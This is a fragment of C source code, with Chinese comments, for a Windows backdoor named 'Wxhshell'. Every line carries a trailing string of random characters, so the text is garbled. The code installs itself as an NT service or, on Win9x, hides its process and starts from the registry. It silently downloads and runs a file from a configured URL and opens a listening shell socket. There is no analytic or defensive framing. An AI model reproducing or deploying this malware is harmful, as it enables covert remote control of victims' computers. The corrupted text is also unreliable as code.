ULONG InheritedFromUniqueProcessId; 8@t8P5(vL
} PROCESS_BASIC_INFORMATION; UGSZg|&6#*
{V6&((E8
PROCNTQSIP NtQueryInformationProcess; 3>KEl^1DB
c_3B: F7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S@/{34,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WO_Uc_R
/W/e%.
HANDLE hProcess; xU.1GI%UPu
PROCESS_BASIC_INFORMATION pbi; fzIs^(:fl
; ~pgF_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r[S(VPo[()
if(NULL == hInst ) return 0; G:<f(Gy
cLV*5?gVO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <E2 IU~e
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r{;NGQYs
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yp#!$+a}
PMfW;%I.
if (!NtQueryInformationProcess) return 0; 4yyw:"
JT?u[pQ^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d=D-s
if(!hProcess) return 0; IrMHAM5K
>Uw:cq
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
)0VL$A
$Zu?Gd?
CloseHandle(hProcess); F\m^slsu7=
z`wIb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zw]"p63eMa
if(hProcess==NULL) return 0; l7|z]v-
O] @E8<?^
HMODULE hMod; j'D%eQI,V
char procName[255]; WXy8<?s
unsigned long cbNeeded; ~*HQPp?v
w"j>^#8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IRN,=
k+J%o%* <
CloseHandle(hProcess); [d`E9&Hv3
KN}#8.'>3
if(strstr(procName,"services")) return 1; // 以服务启动 E_
wVAz3
y
bhFDx
return 0; // 注册表启动 731Lz*IFg
} K!6T8^JH
W'C>Fn}lO?
// 主模块 7hHID>,o9%
int StartWxhshell(LPSTR lpCmdLine) 0V:H/qu8>
{ |'h(S|
SOCKET wsl; L/i'6(="
BOOL val=TRUE; z@,pT"rb
int port=0; _%e8GWf
struct sockaddr_in door; Xdn&%5rI
B4y_{V
if(wscfg.ws_autoins) Install(); Fi i(dmn
wW%b~JX
port=atoi(lpCmdLine); $|~<6A{y
1#vu)a1+b
if(port<=0) port=wscfg.ws_port; 2Re8rcQQU
#Zdh<.
WSADATA data; o%_-u
+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /HdXJL9B
1dN/H)]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V'kBF2}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Psg53N
door.sin_family = AF_INET; ~su>RolaX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }>{R<[I!G
door.sin_port = htons(port); w){B$X
xrf|c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [U&k"s?
closesocket(wsl); _}F&^
return 1; y!b"Cj
} f)Qln[/
\@@ G\\)er
if(listen(wsl,2) == INVALID_SOCKET) { "yu{b]AU
closesocket(wsl); A[l
)>:
return 1; "9;
} HxO+JI`'3
Wxhshell(wsl); A?MM9Y}K
WSACleanup(); TAYh#T=S
[j6]!p]S$
return 0; V D#q\
sl$6Zv-l%0
} ^(q .f=I!a
QD-\'Bp/X
// 以NT服务方式启动 /nO_e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TzKM~a#
{ && ]ix3
DWORD status = 0; WSozDNF!'f
DWORD specificError = 0xfffffff; lV'?X%
1K/HVj+'.
serviceStatus.dwServiceType = SERVICE_WIN32; ?8O5%IrJ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "09v6Tx
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fg`<uW]TFZ
serviceStatus.dwWin32ExitCode = 0; #._JB-,'
serviceStatus.dwServiceSpecificExitCode = 0; _WS8I>
serviceStatus.dwCheckPoint = 0; q]4h#?.-1v
serviceStatus.dwWaitHint = 0; XJo.^<m
KpGx<+0p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;-3&yQ7N)
if (hServiceStatusHandle==0) return; |sGJum&=
,a>Dv@$Y
status = GetLastError(); vv)q&,<c
if (status!=NO_ERROR) ;pm/nu
{ N^QxqQ~
serviceStatus.dwCurrentState = SERVICE_STOPPED; LuZlGm
serviceStatus.dwCheckPoint = 0; :}N heRi
serviceStatus.dwWaitHint = 0; "nz\YQdg
serviceStatus.dwWin32ExitCode = status; r5gqRh}+
serviceStatus.dwServiceSpecificExitCode = specificError; '-"[>`[q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z`kVyuQ
return; X+Sqw5rH
} E:qh}wY
kI"9T`owR
serviceStatus.dwCurrentState = SERVICE_RUNNING; !>F70
serviceStatus.dwCheckPoint = 0; GbLHzw
serviceStatus.dwWaitHint = 0; MsI R ~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E{)X ;kN=
} 4rDVCXE
huZ5?'/Fg
// 处理NT服务事件,比如:启动、停止 Xm# +Z`|N
VOID WINAPI NTServiceHandler(DWORD fdwControl) q]1p Q)\'p
{ *$O5.`]
switch(fdwControl) Lx_Jw\YO
{ qb;b.P?~D$
case SERVICE_CONTROL_STOP: @tSB^&jUWu
serviceStatus.dwWin32ExitCode = 0; |cd"cx+
serviceStatus.dwCurrentState = SERVICE_STOPPED; W$X/8K bn
serviceStatus.dwCheckPoint = 0; Fug4u?-n
serviceStatus.dwWaitHint = 0; X0L\Ewm
{ o_}?aI~H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6D]fDeH\
} 4M%|N
return; BvvjaC
case SERVICE_CONTROL_PAUSE: {_!,T%>+1
serviceStatus.dwCurrentState = SERVICE_PAUSED; p"P+8"`
break; ^U?Ac=
case SERVICE_CONTROL_CONTINUE: F;_c x
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9qDM0'WuU
break; RR=WD -l
case SERVICE_CONTROL_INTERROGATE: -\p&18K#
break; Fah6
&a
}; V]Te_ >E;w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J#Q>dC7
} ^/2HH
gdCit-3
// 标准应用程序主函数 H*G(`Zl}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }bRn&)e
{ ITl>HlS
p9jC-&:
// 获取操作系统版本 (Q*x"G#4>
OsIsNt=GetOsVer(); V0D&bN*
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8Vz!zYl
@_t=0Rc
// 从命令行安装 FI: H/e5[
if(strpbrk(lpCmdLine,"iI")) Install(); Zrwd
jv v=
// 下载执行文件 wdt2T8`I/
if(wscfg.ws_downexe) { ?#a&eW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jqzw94
WinExec(wscfg.ws_filenam,SW_HIDE); \A^8KVE!
} (Zx--2lc
q~#>MB}".
if(!OsIsNt) { _N:$|O#
// 如果时win9x,隐藏进程并且设置为注册表启动 '+Jy//5?
HideProc(); v5@4|u3ds
StartWxhshell(lpCmdLine); 0Sk~m4fj(
} w;Azxcw
else %AJ9fs4/
if(StartFromService()) V5-!w0{
// 以服务方式启动 %h(%M'm?
StartServiceCtrlDispatcher(DispatchTable); MtwlZg`c3
else :@5{*o
// 普通方式启动 =^p}JhQ
StartWxhshell(lpCmdLine); 9BP'[SM%),
gJp6ReZ#
return 0; O`Qke
Z}
}